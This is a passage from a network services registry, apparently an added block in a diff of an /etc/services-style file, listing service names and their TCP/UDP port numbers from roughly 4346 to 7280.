4 Network AS +elanlm 4346/tcp ELAN LM +elanlm 4346/udp ELAN LM +lansurveyor 4347/tcp LAN Surveyor +lansurveyor 4347/udp LAN Surveyor +itose 4348/tcp ITOSE +itose 4348/udp ITOSE +fsportmap 4349/tcp File System Port Map +fsportmap 4349/udp File System Port Map +net-device 4350/tcp Net Device +net-device 4350/udp Net Device +plcy-net-svcs 4351/tcp PLCY Net Services +plcy-net-svcs 4351/udp PLCY Net Services +f5-iquery 4353/tcp F5 iQuery +f5-iquery 4353/udp F5 iQuery +qsnet-trans 4354/tcp QSNet Transmitter +qsnet-trans 4354/udp QSNet Transmitter +qsnet-workst 4355/tcp QSNet Workstation +qsnet-workst 4355/udp QSNet Workstation +qsnet-assist 4356/tcp QSNet Assistant +qsnet-assist 4356/udp QSNet Assistant +qsnet-cond 4357/tcp QSNet Conductor +qsnet-cond 4357/udp QSNet Conductor +qsnet-nucl 4358/tcp QSNet Nucleus +qsnet-nucl 4358/udp QSNet Nucleus +beacon-port-2 4426/tcp SMARTS Beacon Port +beacon-port-2 4426/upd SMARTS Beacon Port +saris 4442/tcp Saris +saris 4442/udp Saris +pharos 4443/tcp Pharos +pharos 4443/udp Pharos +krb524 4444/tcp KRB524 +krb524 4444/udp KRB524 +nv-video 4444/tcp NV Video default +nv-video 4444/udp NV Video default +upnotifyp 4445/tcp UPNOTIFYP +upnotifyp 4445/udp UPNOTIFYP +n1-fwp 4446/tcp N1-FWP +n1-fwp 4446/udp N1-FWP +n1-rmgmt 4447/tcp N1-RMGMT +n1-rmgmt 4447/udp N1-RMGMT +asc-slmd 4448/tcp ASC Licence Manager +asc-slmd 4448/udp ASC Licence Manager +privatewire 4449/tcp PrivateWire +privatewire 4449/udp PrivateWire +camp 4450/tcp Camp +camp 4450/udp Camp +ctisystemmsg 4451/tcp CTI System Msg +ctisystemmsg 4451/udp CTI System Msg +ctiprogramload 4452/tcp CTI Program Load +ctiprogramload 4452/udp CTI Program Load +nssalertmgr 4453/tcp NSS Alert Manager +nssalertmgr 4453/udp NSS Alert Manager +nssagentmgr 4454/tcp NSS Agent Manager +nssagentmgr 4454/udp NSS Agent Manager +prchat-user 4455/tcp PR Chat User +prchat-user 4455/udp PR Chat User +prchat-server 4456/tcp PR Chat Server +prchat-server 4456/udp PR Chat Server +prRegister 4457/tcp PR Register +prRegister 4457/udp PR Register +ipsec-msft 4500/tcp Microsoft IPsec NAT-T +ipsec-msft 4500/udp Microsoft IPsec NAT-T +worldscores 4545/tcp WorldScores +worldscores 4545/udp WorldScores +sf-lm 4546/tcp SF License Manager (Sentinel) +sf-lm 4546/udp SF License Manager (Sentinel) +lanner-lm 4547/tcp Lanner License Manager +lanner-lm 4547/udp Lanner License Manager +rsip 4555/tcp RSIP Port +rsip 4555/udp RSIP Port +hylafax 4559/tcp HylaFAX +hylafax 4559/udp HylaFAX +tram 4567/tcp TRAM +tram 4567/udp TRAM +bmc-reporting 4568/tcp BMC Reporting +bmc-reporting 4568/udp BMC Reporting +piranha1 4600/tcp Piranha1 +piranha1 4600/udp Piranha1 +piranha2 4601/tcp Piranha2 +piranha2 4601/udp Piranha2 +smaclmgr 4660/tcp smaclmgr +smaclmgr 4660/udp smaclmgr +kar2ouche 4661/tcp Kar2ouche Peer location service +kar2ouche 4661/udp Kar2ouche Peer location service +rfa 4672/tcp remote file access server +rfa 4672/udp remote file access server +snap 4752/tcp Simple Network Audio Protocol +snap 4752/udp Simple Network Audio Protocol +iims 4800/tcp Icona Instant Messenging System +iims 4800/udp Icona Instant Messenging System +iwec 4801/tcp Icona Web Embedded Chat +iwec 4801/udp Icona Web Embedded Chat +ilss 4802/tcp Icona License System Server +ilss 4802/udp Icona License System Server +htcp 4827/tcp HTCP +htcp 4827/udp HTCP +varadero-0 4837/tcp Varadero-0 +varadero-0 4837/udp Varadero-0 +varadero-1 4838/tcp Varadero-1 +varadero-1 4838/udp Varadero-1 +varadero-2 4839/tcp Varadero-2 +varadero-2 4839/udp Varadero-2 +appserv-http 4848/tcp App Server - Admin HTTP +appserv-http 4848/udp App Server - Admin HTTP +appserv-https 4849/tcp App Server - Admin HTTPS +appserv-https 4849/udp App Server - Admin HTTPS +phrelay 4868/tcp Photon Relay +phrelay 4868/udp Photon Relay +phrelaydbg 4869/tcp Photon Relay Debug +phrelaydbg 4869/udp Photon Relay Debug +abbs 4885/tcp ABBS +abbs 4885/udp ABBS +lyskom 4894/tcp LysKOM Protocol A +lyskom 4894/udp LysKOM Protocol A +radmin-port 4899/tcp RAdmin Port +radmin-port 4899/udp RAdmin Port +att-intercom 4983/tcp AT&T Intercom +att-intercom 4983/udp AT&T Intercom +smar-se-port1 4987/tcp SMAR Ethernet Port 1 +smar-se-port1 4987/udp SMAR Ethernet Port 1 +smar-se-port2 4988/tcp SMAR Ethernet Port 2 +smar-se-port2 4988/udp SMAR Ethernet Port 2 +parallel 4989/tcp Parallel for GAUSS (tm) +parallel 4989/udp Parallel for GAUSS (tm) +commplex-main 5000/tcp +commplex-main 5000/udp +commplex-link 5001/tcp +commplex-link 5001/udp +rfe 5002/tcp radio free ethernet +rfe 5002/udp radio free ethernet +fmpro-internal 5003/tcp FileMaker, Inc. - Proprietary transport +fmpro-internal 5003/udp FileMaker, Inc. - Proprietary name binding +avt-profile-1 5004/tcp avt-profile-1 +avt-profile-1 5004/udp avt-profile-1 +avt-profile-2 5005/tcp avt-profile-2 +avt-profile-2 5005/udp avt-profile-2 +wsm-server 5006/tcp wsm server +wsm-server 5006/udp wsm server +wsm-server-ssl 5007/tcp wsm server ssl +wsm-server-ssl 5007/udp wsm server ssl +synapsis-edge 5008/tcp Synapsis EDGE +synapsis-edge 5008/udp Synapsis EDGE +telelpathstart 5010/tcp TelepathStart +telelpathstart 5010/udp TelepathStart +telelpathattack 5011/tcp TelepathAttack +telelpathattack 5011/udp TelepathAttack +zenginkyo-1 5020/tcp zenginkyo-1 +zenginkyo-1 5020/udp zenginkyo-1 +zenginkyo-2 5021/tcp zenginkyo-2 +zenginkyo-2 5021/udp zenginkyo-2 +mice 5022/tcp mice server +mice 5022/udp mice server +htuilsrv 5023/tcp Htuil Server for PLD2 +htuilsrv 5023/udp Htuil Server for PLD2 +scpi-telnet 5024/tcp SCPI-TELNET +scpi-telnet 5024/udp SCPI-TELNET +scpi-raw 5025/tcp SCPI-RAW +scpi-raw 5025/udp SCPI-RAW +asnaacceler8db 5042/tcp asnaacceler8db +asnaacceler8db 5042/udp asnaacceler8db +mmcc 5050/tcp multimedia conference control tool +mmcc 5050/udp multimedia conference control tool +ita-agent 5051/tcp ITA Agent +ita-agent 5051/udp ITA Agent +ita-manager 5052/tcp ITA Manager +ita-manager 5052/udp ITA Manager +unot 5055/tcp UNOT +unot 5055/udp UNOT +intecom-ps1 5056/tcp Intecom PS 1 +intecom-ps1 5056/udp Intecom PS 1 +intecom-ps2 5057/tcp Intecom PS 2 +intecom-ps2 5057/udp Intecom PS 2 +sip 5060/tcp SIP +sip 5060/udp SIP +sip-tls 5061/tcp SIP-TLS +sip-tls 5061/udp SIP-TLS +ca-1 5064/tcp Channel Access 1 +ca-1 5064/udp Channel Access 1 +ca-2 5065/tcp Channel Access 2 +ca-2 5065/udp Channel Access 2 +stanag-5066 5066/tcp STANAG-5066-SUBNET-INTF +stanag-5066 5066/udp STANAG-5066-SUBNET-INTF +i-net-2000-npr 5069/tcp I/Net 2000-NPR +i-net-2000-npr 5069/udp I/Net 2000-NPR +powerschool 5071/tcp PowerSchool +powerschool 5071/udp PowerSchool +sdl-ets 5081/tcp SDL - Ent Trans Server +sdl-ets 5081/udp SDL - Ent Trans Server +sentinel-lm 5093/tcp Sentinel LM +sentinel-lm 5093/udp Sentinel LM +sentlm-srv2srv 5099/tcp SentLM Srv2Srv +sentlm-srv2srv 5099/udp SentLM Srv2Srv +talarian-tcp 5101/tcp Talarian_TCP +talarian-udp 5101/udp Talarian_UDP +ctsd 5137/tcp MyCTS server port +ctsd 5137/udp MyCTS server port +rmonitor_secure 5145/tcp RMONITOR SECURE +rmonitor_secure 5145/udp RMONITOR SECURE +atmp 5150/tcp Ascend Tunnel Management Protocol +atmp 5150/udp Ascend Tunnel Management Protocol +esri_sde 5151/tcp ESRI SDE Instance +esri_sde 5151/udp ESRI SDE Remote Start +sde-discovery 5152/tcp ESRI SDE Instance Discovery +sde-discovery 5152/udp ESRI SDE Instance Discovery +bzflag 5154/tcp BZFlag game server +bzflag 5154/udp BZFlag game server +ife_icorp 5165/tcp ife_1corp +ife_icorp 5165/udp ife_1corp +aol 5190/tcp America-Online +aol 5190/udp America-Online +aol-1 5191/tcp AmericaOnline1 +aol-1 5191/udp AmericaOnline1 +aol-2 5192/tcp AmericaOnline2 +aol-2 5192/udp AmericaOnline2 +aol-3 5193/tcp AmericaOnline3 +aol-3 5193/udp AmericaOnline3 +targus-getdata 5200/tcp TARGUS GetData +targus-getdata 5200/udp TARGUS GetData +targus-getdata1 5201/tcp TARGUS GetData 1 +targus-getdata1 5201/udp TARGUS GetData 1 +targus-getdata2 5202/tcp TARGUS GetData 2 +targus-getdata2 5202/udp TARGUS GetData 2 +targus-getdata3 5203/tcp TARGUS GetData 3 +targus-getdata3 5203/udp TARGUS GetData 3 +xmpp-client 5222/tcp XMPP Client Connection +xmpp-client 5222/udp XMPP Client Connection +hp-server 5225/tcp HP Server +hp-server 5225/udp HP Server +hp-status 5226/tcp HP Status +hp-status 5226/udp HP Status +padl2sim 5236/tcp +padl2sim 5236/udp +igateway 5250/tcp iGateway +igateway 5250/udp iGateway +3com-njack-1 5264/tcp 3Com Network Jack Port 1 +3com-njack-1 5264/udp 3Com Network Jack Port 1 +3com-njack-2 5265/tcp 3Com Network Jack Port 2 +3com-njack-2 5265/udp 3Com Network Jack Port 2 +xmpp-server 5269/tcp XMPP Server Connection +xmpp-server 5269/udp XMPP Server Connection +pk 5272/tcp PK +pk 5272/udp PK +transmit-port 5282/tcp Marimba Transmitter Port +transmit-port 5282/udp Marimba Transmitter Port +hacl-hb 5300/tcp # HA cluster heartbeat +hacl-hb 5300/udp # HA cluster heartbeat +hacl-gs 5301/tcp # HA cluster general services +hacl-gs 5301/udp # HA cluster general services +hacl-cfg 5302/tcp # HA cluster configuration +hacl-cfg 5302/udp # HA cluster configuration +hacl-probe 5303/tcp # HA cluster probing +hacl-probe 5303/udp # HA cluster probing +hacl-local 5304/tcp # HA Cluster Commands +hacl-local 5304/udp +hacl-test 5305/tcp # HA Cluster Test +hacl-test 5305/udp +sun-mc-grp 5306/tcp Sun MC Group +sun-mc-grp 5306/udp Sun MC Group +sco-aip 5307/tcp SCO AIP +sco-aip 5307/udp SCO AIP +cfengine 5308/tcp CFengine +cfengine 5308/udp CFengine +jprinter 5309/tcp J Printer +jprinter 5309/udp J Printer +outlaws 5310/tcp Outlaws +outlaws 5310/udp Outlaws +permabit-cs 5312/tcp Permabit Client-Server +permabit-cs 5312/udp Permabit Client-Server +rrdp 5313/tcp Real-time & Reliable Data +rrdp 5313/udp Real-time & Reliable Data +opalis-rbt-ipc 5314/tcp opalis-rbt-ipc +opalis-rbt-ipc 5314/udp opalis-rbt-ipc +hacl-poll 5315/tcp HA Cluster UDP Polling +hacl-poll 5315/udp HA Cluster UDP Polling +mdns 5353/tcp Multicast DNS +mdns 5353/udp Multicast DNS +mdnsresponder 5354/tcp Multicast DNS Responder IPC +mdnsresponder 5354/udp Multicast DNS Responder IPC +llmnr 5355/tcp LLMNR +llmnr 5355/udp LLMNR +excerpt 5400/tcp Excerpt Search +excerpt 5400/udp Excerpt Search +excerpts 5401/tcp Excerpt Search Secure +excerpts 5401/udp Excerpt Search Secure +mftp 5402/tcp MFTP +mftp 5402/udp MFTP +hpoms-ci-lstn 5403/tcp HPOMS-CI-LSTN +hpoms-ci-lstn 5403/udp HPOMS-CI-LSTN +hpoms-dps-lstn 5404/tcp HPOMS-DPS-LSTN +hpoms-dps-lstn 5404/udp HPOMS-DPS-LSTN +netsupport 5405/tcp NetSupport +netsupport 5405/udp NetSupport +systemics-sox 5406/tcp Systemics Sox +systemics-sox 5406/udp Systemics Sox +foresyte-clear 5407/tcp Foresyte-Clear +foresyte-clear 5407/udp Foresyte-Clear +foresyte-sec 5408/tcp Foresyte-Sec +foresyte-sec 5408/udp Foresyte-Sec +salient-dtasrv 5409/tcp Salient Data Server +salient-dtasrv 5409/udp Salient Data Server +salient-usrmgr 5410/tcp Salient User Manager +salient-usrmgr 5410/udp Salient User Manager +actnet 5411/tcp ActNet +actnet 5411/udp ActNet +continuus 5412/tcp Continuus +continuus 5412/udp Continuus +wwiotalk 5413/tcp WWIOTALK +wwiotalk 5413/udp WWIOTALK +statusd 5414/tcp StatusD +statusd 5414/udp StatusD +ns-server 5415/tcp NS Server +ns-server 5415/udp NS Server +sns-gateway 5416/tcp SNS Gateway +sns-gateway 5416/udp SNS Gateway +sns-agent 5417/tcp SNS Agent +sns-agent 5417/udp SNS Agent +mcntp 5418/tcp MCNTP +mcntp 5418/udp MCNTP +dj-ice 5419/tcp DJ-ICE +dj-ice 5419/udp DJ-ICE +cylink-c 5420/tcp Cylink-C +cylink-c 5420/udp Cylink-C +netsupport2 5421/tcp Net Support 2 +netsupport2 5421/udp Net Support 2 +salient-mux 5422/tcp Salient MUX +salient-mux 5422/udp Salient MUX +virtualuser 5423/tcp VIRTUALUSER +virtualuser 5423/udp VIRTUALUSER +devbasic 5426/tcp DEVBASIC +devbasic 5426/udp DEVBASIC +sco-peer-tta 5427/tcp SCO-PEER-TTA +sco-peer-tta 5427/udp SCO-PEER-TTA +telaconsole 5428/tcp TELACONSOLE +telaconsole 5428/udp TELACONSOLE +base 5429/tcp Billing and Accounting System Exchange +base 5429/udp Billing and Accounting System Exchange +radec-corp 5430/tcp RADEC CORP +radec-corp 5430/udp RADEC CORP +park-agent 5431/tcp PARK AGENT +park-agent 5431/udp PARK AGENT +postgresql 5432/tcp PostgreSQL Database +postgresql 5432/udp PostgreSQL Database +dttl 5435/tcp Data Tunneling Transceiver Linking (DTTL) +dttl 5435/udp Data Tunneling Transceiver Linking (DTTL) +apc-5454 5454/tcp APC 5454 +apc-5454 5454/udp APC 5454 +apc-5455 5455/tcp APC 5455 +apc-5455 5455/udp APC 5455 +apc-5456 5456/tcp APC 5456 +apc-5456 5456/udp APC 5456 +silkmeter 5461/tcp SILKMETER +silkmeter 5461/udp SILKMETER +ttl-publisher 5462/tcp TTL Publisher +ttl-publisher 5462/udp TTL Publisher +ttlpriceproxy 5463/tcp TTL Price Proxy +ttlpriceproxy 5463/udp TTL Price Proxy +netops-broker 5465/tcp NETOPS-BROKER +netops-broker 5465/udp NETOPS-BROKER +fcp-addr-srvr1 5500/tcp fcp-addr-srvr1 +fcp-addr-srvr1 5500/udp fcp-addr-srvr1 +fcp-addr-srvr2 5501/tcp fcp-addr-srvr2 +fcp-addr-srvr2 5501/udp fcp-addr-srvr2 +fcp-srvr-inst1 5502/tcp fcp-srvr-inst1 +fcp-srvr-inst1 5502/udp fcp-srvr-inst1 +fcp-srvr-inst2 5503/tcp fcp-srvr-inst2 +fcp-srvr-inst2 5503/udp fcp-srvr-inst2 +fcp-cics-gw1 5504/tcp fcp-cics-gw1 +fcp-cics-gw1 5504/udp fcp-cics-gw1 +sgi-eventmond 5553/tcp SGI Eventmond Port +sgi-eventmond 5553/udp SGI Eventmond Port +sgi-esphttp 5554/tcp SGI ESP HTTP +sgi-esphttp 5554/udp SGI ESP HTTP +rplay 5555/udp rplay +rplay 5556/tcp rplay +udpplus 5566/tcp UDPPlus +udpplus 5566/udp UDPPlus +esinstall 5599/tcp Enterprise Security Remote Install +esinstall 5599/udp Enterprise Security Remote Install +esmmanager 5600/tcp Enterprise Security Manager +esmmanager 5600/udp Enterprise Security Manager +esmagent 5601/tcp Enterprise Security Agent +esmagent 5601/udp Enterprise Security Agent +a1-msc 5602/tcp A1-MSC +a1-msc 5602/udp A1-MSC +a1-bs 5603/tcp A1-BS +a1-bs 5603/udp A1-BS +a3-sdunode 5604/tcp A3-SDUNode +a3-sdunode 5604/udp A3-SDUNode +a4-sdunode 5605/tcp A4-SDUNode +a4-sdunode 5605/udp A4-SDUNode +pcanywheredata 5631/tcp pcANYWHEREdata +pcanywheredata 5631/udp pcANYWHEREdata +pcanywherestat 5632/tcp pcANYWHEREstat +pcanywherestat 5632/udp pcANYWHEREstat +jms 5673/tcp JACL Message Server +jms 5673/udp JACL Message Server +hyperscsi-port 5674/tcp HyperSCSI Port +hyperscsi-port 5674/udp HyperSCSI Port +v5ua 5675/tcp V5UA application port +v5ua 5675/udp V5UA application port +v5ua 5675/sctp V5UA application port +raadmin 5676/tcp RA Administration +raadmin 5676/udp RA Administration +questdb2-lnchr 5677/tcp Quest Central DB2 Launchr +questdb2-lnchr 5677/udp Quest Central DB2 Launchr +rrac 5678/tcp Remote Replication Agent Connection +rrac 5678/udp Remote Replication Agent Connection +dccm 5679/tcp Direct Cable Connect Manager +dccm 5679/udp Direct Cable Connect Manager +ggz 5688/tcp GGZ Gaming Zone +ggz 5688/udp GGZ Gaming Zone +proshareaudio 5713/tcp proshare conf audio +proshareaudio 5713/udp proshare conf audio +prosharevideo 5714/tcp proshare conf video +prosharevideo 5714/udp proshare conf video +prosharedata 5715/tcp proshare conf data +prosharedata 5715/udp proshare conf data +prosharerequest 5716/tcp proshare conf request +prosharerequest 5716/udp proshare conf request +prosharenotify 5717/tcp proshare conf notify +prosharenotify 5717/udp proshare conf notify +ms-licensing 5720/tcp MS-Licensing +ms-licensing 5720/udp MS-Licensing +openmail 5729/tcp Openmail User Agent Layer +openmail 5729/udp Openmail User Agent Layer +unieng 5730/tcp Steltor's calendar access +unieng 5730/udp Steltor's calendar access +ida-discover1 5741/tcp IDA Discover Port 1 +ida-discover1 5741/udp IDA Discover Port 1 +ida-discover2 5742/tcp IDA Discover Port 2 +ida-discover2 5742/udp IDA Discover Port 2 +fcopy-server 5745/tcp fcopy-server +fcopy-server 5745/udp fcopy-server +fcopys-server 5746/tcp fcopys-server +fcopys-server 5746/udp fcopys-server +openmailg 5755/tcp OpenMail Desk Gateway server +openmailg 5755/udp OpenMail Desk Gateway server +x500ms 5757/tcp OpenMail X.500 Directory Server +x500ms 5757/udp OpenMail X.500 Directory Server +openmailns 5766/tcp OpenMail NewMail Server +openmailns 5766/udp OpenMail NewMail Server +s-openmail 5767/tcp OpenMail Suer Agent Layer (Secure) +s-openmail 5767/udp OpenMail Suer Agent Layer (Secure) +openmailpxy 5768/tcp OpenMail CMTS Server +openmailpxy 5768/udp OpenMail CMTS Server +netagent 5771/tcp NetAgent +netagent 5771/udp NetAgent +dali-port 5777/tcp DALI Port +dali-port 5777/udp DALI Port +icmpd 5813/tcp ICMPD +icmpd 5813/udp ICMPD +spt-automation 5814/tcp Support Automation +spt-automation 5814/udp Support Automation +wherehoo 5859/tcp WHEREHOO +wherehoo 5859/udp WHEREHOO +mppolicy-v5 5968/tcp mppolicy-v5 +mppolicy-v5 5968/udp mppolicy-v5 +mppolicy-mgr 5969/tcp mppolicy-mgr +mppolicy-mgr 5969/udp mppolicy-mgr +wbem-rmi 5987/tcp WBEM RMI +wbem-rmi 5987/udp WBEM RMI +wbem-http 5988/tcp WBEM HTTP +wbem-http 5988/udp WBEM HTTP +wbem-https 5989/tcp WBEM HTTPS +wbem-https 5989/udp WBEM HTTPS +nuxsl 5991/tcp NUXSL +nuxsl 5991/udp NUXSL +cvsup 5999/tcp CVSup +cvsup 5999/udp CVSup +x11 6000-6063/tcp X Window System +x11 6000-6063/udp X Window System +ndl-ahp-svc 6064/tcp NDL-AHP-SVC +ndl-ahp-svc 6064/udp NDL-AHP-SVC +winpharaoh 6065/tcp WinPharaoh +winpharaoh 6065/udp WinPharaoh +ewctsp 6066/tcp EWCTSP +ewctsp 6066/udp EWCTSP +srb 6067/tcp SRB +srb 6067/udp SRB +gsmp 6068/tcp GSMP +gsmp 6068/udp GSMP +trip 6069/tcp TRIP +trip 6069/udp TRIP +messageasap 6070/tcp Messageasap +messageasap 6070/udp Messageasap +ssdtp 6071/tcp SSDTP +ssdtp 6071/udp SSDTP +diagnose-proc 6072/tcp DIAGNOSE-PROC +diagnose-proc 6072/udp DIAGNOSE-PROC +directplay8 6073/tcp DirectPlay8 +directplay8 6073/udp DirectPlay8 +konspire2b 6085/tcp konspire2b p2p network +konspire2b 6085/udp konspire2b p2p network +synchronet-db 6100/tcp SynchroNet-db +synchronet-db 6100/udp SynchroNet-db +synchronet-rtc 6101/tcp SynchroNet-rtc +synchronet-rtc 6101/udp SynchroNet-rtc +synchronet-upd 6102/tcp SynchroNet-upd +synchronet-upd 6102/udp SynchroNet-upd +rets 6103/tcp RETS +rets 6103/udp RETS +dbdb 6104/tcp DBDB +dbdb 6104/udp DBDB +primaserver 6105/tcp Prima Server +primaserver 6105/udp Prima Server +mpsserver 6106/tcp MPS Server +mpsserver 6106/udp MPS Server +etc-control 6107/tcp ETC Control +etc-control 6107/udp ETC Control +sercomm-scadmin 6108/tcp Sercomm-SCAdmin +sercomm-scadmin 6108/udp Sercomm-SCAdmin +globecast-id 6109/tcp GLOBECAST-ID +globecast-id 6109/udp GLOBECAST-ID +softcm 6110/tcp HP SoftBench CM +softcm 6110/udp HP SoftBench CM +spc 6111/tcp HP SoftBench Sub-Process Control +spc 6111/udp HP SoftBench Sub-Process Control +dtspcd 6112/tcp dtspcd +dtspcd 6112/udp dtspcd +backup-express 6123/tcp Backup Express +backup-express 6123/udp Backup Express +meta-corp 6141/tcp Meta Corporation License Manager +meta-corp 6141/udp Meta Corporation License Manager +aspentec-lm 6142/tcp Aspen Technology License Manager +aspentec-lm 6142/udp Aspen Technology License Manager +watershed-lm 6143/tcp Watershed License Manager +watershed-lm 6143/udp Watershed License Manager +statsci1-lm 6144/tcp StatSci License Manager - 1 +statsci1-lm 6144/udp StatSci License Manager - 1 +statsci2-lm 6145/tcp StatSci License Manager - 2 +statsci2-lm 6145/udp StatSci License Manager - 2 +lonewolf-lm 6146/tcp Lone Wolf Systems License Manager +lonewolf-lm 6146/udp Lone Wolf Systems License Manager +montage-lm 6147/tcp Montage License Manager +montage-lm 6147/udp Montage License Manager +ricardo-lm 6148/tcp Ricardo North America License Manager +ricardo-lm 6148/udp Ricardo North America License Manager +tal-pod 6149/tcp tal-pod +tal-pod 6149/udp tal-pod +crip 6253/tcp CRIP +crip 6253/udp CRIP +bmc-grx 6300/tcp BMC GRX +bmc-grx 6300/udp BMC GRX +emp-server1 6321/tcp Empress Software Connectivity Server 1 +emp-server1 6321/udp Empress Software Connectivity Server 1 +emp-server2 6322/tcp Empress Software Connectivity Server 2 +emp-server2 6322/udp Empress Software Connectivity Server 2 +sflow 6343/tcp sFlow traffic monitoring +sflow 6343/udp sFlow traffic monitoring +gnutella-svc 6346/tcp gnutella-svc +gnutella-svc 6346/udp gnutella-svc +gnutella-rtr 6347/tcp gnutella-rtr +gnutella-rtr 6347/udp gnutella-rtr +metatude-mds 6382/tcp Metatude Dialogue Server +metatude-mds 6382/udp Metatude Dialogue Server +clariion-evr01 6389/tcp clariion-evr01 +clariion-evr01 6389/udp clariion-evr01 +info-aps 6400 +info-was 6401 +info-eventsvr 6402 +info-cachesvr 6403 +info-filesvr 6404 +info-pagesvr 6405 +info-processvr 6406 +reserved1 6407 +reserved2 6408 +reserved3 6409 +reserved4 6410 +skip-cert-recv 6455/tcp SKIP Certificate Receive +skip-cert-send 6456/tcp SKIP Certificate Send +lvision-lm 6471/tcp LVision License Manager +lvision-lm 6471/udp LVision License Manager +boks 6500/tcp BoKS Master +boks 6500/udp BoKS Master +boks_servc 6501/tcp BoKS Servc +boks_servc 6501/udp BoKS Servc +boks_servm 6502/tcp BoKS Servm +boks_servm 6502/udp BoKS Servm +boks_clntd 6503/tcp BoKS Clntd +boks_clntd 6503/udp BoKS Clntd +badm_priv 6505/tcp BoKS Admin Private Port +badm_priv 6505/udp BoKS Admin Private Port +badm_pub 6506/tcp BoKS Admin Public Port +badm_pub 6506/udp BoKS Admin Public Port +bdir_priv 6507/tcp BoKS Dir Server, Private Port +bdir_priv 6507/udp BoKS Dir Server, Private Port +bdir_pub 6508/tcp BoKS Dir Server, Public Port +bdir_pub 6508/udp BoKS Dir Server, Public Port +mgcs-mfp-port 6509/tcp MGCS-MFP Port +mgcs-mfp-port 6509/udp MGCS-MFP Port +mcer-port 6510/tcp MCER Port +mcer-port 6510/udp MCER Port +lds-distrib 6543/tcp lds_distrib +lds-distrib 6543/udp lds_distrib +apc-6547 6547/tcp APC 6547 +apc-6547 6547/udp APC 6547 +apc-6548 6548/tcp APC 6548 +apc-6548 6548/udp APC 6548 +apc-6549 6549/tcp APC 6549 +apc-6549 6549/udp APC 6549 +fg-sysupdate 6550/tcp fg-sysupdate +fg-sysupdate 6550/udp fg-sysupdate +xdsxdm 6558/tcp +xdsxdm 6558/udp +sane-port 6566/tcp SANE Control Port +sane-port 6566/udp SANE Control Port +parsec-master 6580/tcp Parsec Masterserver +parsec-master 6580/udp Parsec Masterserver +parsec-peer 6581/tcp Parsec Peer-to-Peer +parsec-peer 6581/udp Parsec Peer-to-Peer +parsec-game 6582/tcp Parsec Gameserver +parsec-game 6582/udp Parsec Gameserver +afesc-mc 6628/tcp AFE Stock Channel M/C +afesc-mc 6628/udp AFE Stock Channel M/C +ircu 6665-6669/tcp IRCU +ircu 6665-6669/udp IRCU +vocaltec-gold 6670/tcp Vocaltec Global Online Directory +vocaltec-gold 6670/udp Vocaltec Global Online Directory +vision_server 6672/tcp vision_server +vision_server 6672/udp vision_server +vision_elmd 6673/tcp vision_elmd +vision_elmd 6673/udp vision_elmd +irc 6667/tcp Internet Relay Chat +irc 6668/tcp Internet Relay Chat +irc 6669/tcp Internet Relay Chat +irc 6670/tcp Internet Relay Chat +kti-icad-srvr 6701/tcp KTI/ICAD Nameserver +kti-icad-srvr 6701/udp KTI/ICAD Nameserver +ibprotocol 6714/tcp Internet Backplane Protocol +ibprotocol 6714/udp Internet Backplane Protocol +bmc-perf-agent 6767/tcp BMC PERFORM AGENT +bmc-perf-agent 6767/udp BMC PERFORM AGENT +bmc-perf-mgrd 6768/tcp BMC PERFORM MGRD +bmc-perf-mgrd 6768/udp BMC PERFORM MGRD +smc-http 6788/tcp SMC-HTTP +smc-http 6788/udp SMC-HTTP +smc-https 6789/tcp SMC-HTTPS +smc-https 6789/udp SMC-HTTPS +hnmp 6790/tcp HNMP +hnmp 6790/udp HNMP +ambit-lm 6831/tcp ambit-lm +ambit-lm 6831/udp ambit-lm +netmo-default 6841/tcp Netmo Default +netmo-default 6841/udp Netmo Default +netmo-http 6842/tcp Netmo HTTP +netmo-http 6842/udp Netmo HTTP +iccrushmore 6850/tcp ICCRUSHMORE +iccrushmore 6850/udp ICCRUSHMORE +muse 6888/tcp MUSE +muse 6888/udp MUSE +jmact3 6961/tcp JMACT3 +jmact3 6961/udp JMACT3 +jmevt2 6962/tcp jmevt2 +jmevt2 6962/udp jmevt2 +swismgr1 6963/tcp swismgr1 +swismgr1 6963/udp swismgr1 +swismgr2 6964/tcp swismgr2 +swismgr2 6964/udp swismgr2 +swistrap 6965/tcp swistrap +swistrap 6965/udp swistrap +swispol 6966/tcp swispol +swispol 6966/udp swispol +acmsoda 6969/tcp acmsoda +acmsoda 6969/udp acmsoda +iatp-highpri 6998/tcp IATP-highPri +iatp-highpri 6998/udp IATP-highPri +iatp-normalpri 6999/tcp IATP-normalPri +iatp-normalpri 6999/udp IATP-normalPri +afs3-fileserver 7000/tcp file server itself +afs3-fileserver 7000/udp file server itself +afs3-callback 7001/tcp callbacks to cache managers +afs3-callback 7001/udp callbacks to cache managers +afs3-prserver 7002/tcp users & groups database +afs3-prserver 7002/udp users & groups database +afs3-vlserver 7003/tcp volume location database +afs3-vlserver 7003/udp volume location database +afs3-kaserver 7004/tcp AFS/Kerberos authentication service +afs3-kaserver 7004/udp AFS/Kerberos authentication service +afs3-volser 7005/tcp volume managment server +afs3-volser 7005/udp volume managment server +afs3-errors 7006/tcp error interpretation service +afs3-errors 7006/udp error interpretation service +afs3-bos 7007/tcp basic overseer process +afs3-bos 7007/udp basic overseer process +afs3-update 7008/tcp server-to-server updater +afs3-update 7008/udp server-to-server updater +afs3-rmtsys 7009/tcp remote cache manager service +afs3-rmtsys 7009/udp remote cache manager service +ups-onlinet 7010/tcp onlinet uninterruptable power supplies +ups-onlinet 7010/udp onlinet uninterruptable power supplies +talon-disc 7011/tcp Talon Discovery Port +talon-disc 7011/udp Talon Discovery Port +talon-engine 7012/tcp Talon Engine +talon-engine 7012/udp Talon Engine +microtalon-dis 7013/tcp Microtalon Discovery +microtalon-dis 7013/udp Microtalon Discovery +microtalon-com 7014/tcp Microtalon Communications +microtalon-com 7014/udp Microtalon Communications +talon-webserver 7015/tcp Talon Webserver +talon-webserver 7015/udp Talon Webserver +dpserve 7020/tcp DP Serve +dpserve 7020/udp DP Serve +dpserveadmin 7021/tcp DP Serve Admin +dpserveadmin 7021/udp DP Serve Admin +op-probe 7030/tcp ObjectPlanet probe +op-probe 7030/udp ObjectPlanet probe +arcp 7070/tcp ARCP +arcp 7070/udp ARCP +lazy-ptop 7099/tcp lazy-ptop +lazy-ptop 7099/udp lazy-ptop +font-service 7100/tcp X Font Service +font-service 7100/udp X Font Service +virprot-lm 7121/tcp Virtual Prototypes License Manager +virprot-lm 7121/udp Virtual Prototypes License Manager +clutild 7174/tcp Clutild +clutild 7174/udp Clutild +fodms 7200/tcp FODMS FLIP +fodms 7200/udp FODMS FLIP +dlip 7201/tcp DLIP +dlip 7201/udp DLIP +ramp 7227/tcp Registry A & M Protocol +ramp 7227/udp Registry A $ M Protocol +itactionserver1 7280/tcp 